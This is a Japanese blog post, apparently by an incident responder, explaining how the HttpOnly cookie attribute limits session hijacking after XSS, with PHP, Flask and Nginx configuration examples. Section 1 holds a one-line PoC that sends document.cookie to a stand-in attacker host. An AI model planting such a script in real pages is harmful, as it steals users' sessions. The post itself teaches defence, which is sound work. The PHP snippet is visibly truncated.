「Cookieを盗まれて終わり」にしないために:HttpOnly属性が最後の砦となる理由
現場でインシデント対応をしていると、必ずと言っていいほど直面するのが「XSS(クロスサイトスクリプティング)を起点としたセッションハイジャック」です。
「うちはバリデーションもしっかりしてるし、サニタイズもしてるから大丈夫」という言葉を何度聞いたことか。しかし、Webアプリケーション開発において、完璧なサニタイズを実装し続けることは至難の業です。もし、たった一箇所、エスケープ漏れがあれば、攻撃者はあなたのWebサイト上で自由にJavaScriptを実行します。
その時、HttpOnly属性を設定しているか否か。それが、アカウントが乗っ取られるか、あるいは被害を最小限に抑えられるかの境界線になります。
—
1. 攻撃者の視点:なぜCookieが狙われるのか
XSSの脆弱性を見つけた攻撃者が真っ先に行うことは、被害者のブラウザ上で document.cookie を実行することです。もし、セッションIDが保存されたCookieにHttpOnly属性がついていなければ、攻撃者は即座にあなたのセッションIDを外部のサーバーに送信します。
攻撃のPoC(概念実証)
攻撃者は、例えば掲示板の投稿欄などに以下のようなスクリプトを仕込みます。
// 攻撃者のサーバーへセッションIDを盗み出す悪意あるコード
fetch(‘https://attacker.com/log?cookie=’ + document.cookie);
このコードが被害者のブラウザで実行されると、セッションIDが攻撃者の手元に渡ります。攻撃者はそのIDを自分のブラウザにセットするだけで、被害者としてなりすましログインが完了します。パスワードも、二要素認証(MFA)すらも、セッションが確立されていれば意味をなしません。
—
2. HttpOnly属性による防御のメカニズム
HttpOnly属性は、Cookieに対して「ブラウザのJavaScript経由でのアクセスを禁止する」という制限を加えるフラグです。
これが設定されていると、攻撃者が document.cookie を叩いても、そのCookieは「見えないもの」として扱われます。つまり、JavaScriptで読み取ることが物理的に不可能になるのです。これが、現代のWeb開発において必須の「多層防御」の第一歩です。
—
3. 実践:セキュアな実装コード例
現場で「とりあえず設定した」だけでは不十分です。言語やフレームワークごとの正しい実装方法を確認しましょう。
PHPでの設定(session_startの前に設定)
PHPであれば、session_set_cookie_params を適切に呼ぶことが重要です。
0,
‘path’ => ‘/’,
‘domain’ => ‘yourdomain.com’,
‘secure’ => true, // HTTPS通信のみで送信
‘httponly’ => true, // JavaScriptからのアクセスを禁止
‘samesite’ => ‘Lax’ // CSRF対策も兼ねる
]);
session_start();
// これ以降、セッションIDはHttpOnlyとなり盗聴リスクが激減します
?>
Python (Flask) での設定
Flaskでは、アプリの設定でグローバルに制御するのが定石です。
from flask import Flask
app = Flask(__name__)
セッションCookieの設定
app.config.update(
SESSION_COOKIE_HTTPONLY=True, # これをTrueに
SESSION_COOKIE_SECURE=True, # HTTPS必須
SESSION_COOKIE_SAMESITE=’Lax’,
)
—
4. インフラ側での多層防御(Nginx / WAF)
アプリケーション側での実装が漏れている場合に備え、リバースプロキシやWAF側で「強制的に付与する」という泥臭い防衛策も有効です。
Nginxでの強制設定
アプリケーションがCookieを生成する際、HttpOnlyを付け忘れても、Nginx側でレスポンスヘッダーを書き換えて追記させることができます。
Set-Cookieヘッダーにhttponlyとsecureを強制追加する
proxy_cookie_path / “/; HTTPOnly; Secure; SameSite=Lax”;
※ただし、これは既存のCookie設定と競合する場合があるため、必ずステージング環境で挙動を確認してください。
—
最後に:完璧な防御は存在しない
ここまでHttpOnlyの重要性を説いてきましたが、HttpOnlyはXSSそのものを防ぐ技術ではありません。 「XSSが起きたとしても、セッションIDだけは守る」という、最後の盾です。
脆弱性の根源を絶つためには、CSP(Content Security Policy)の導入や、出力時の厳格なエスケープ処理といった「安全な開発プロセス」をチームに定着させることが不可欠です。
インシデント対応の現場に立つ身から言わせてもらえば、「開発者は性悪説でコードを書くべき」です。自分たちの書いたコードは必ずどこかで攻撃される。そう考えて、今回紹介したHttpOnlyのような「設定による防御」を、最初の一行目から組み込んでください。それが、後々の自分やチームを救うことになります。
セキュリティとは、派手なハッキング技術を止めることではなく、こうした地味な設定をサボらずに積み重ねる「誠実さ」のことなのです。
コメント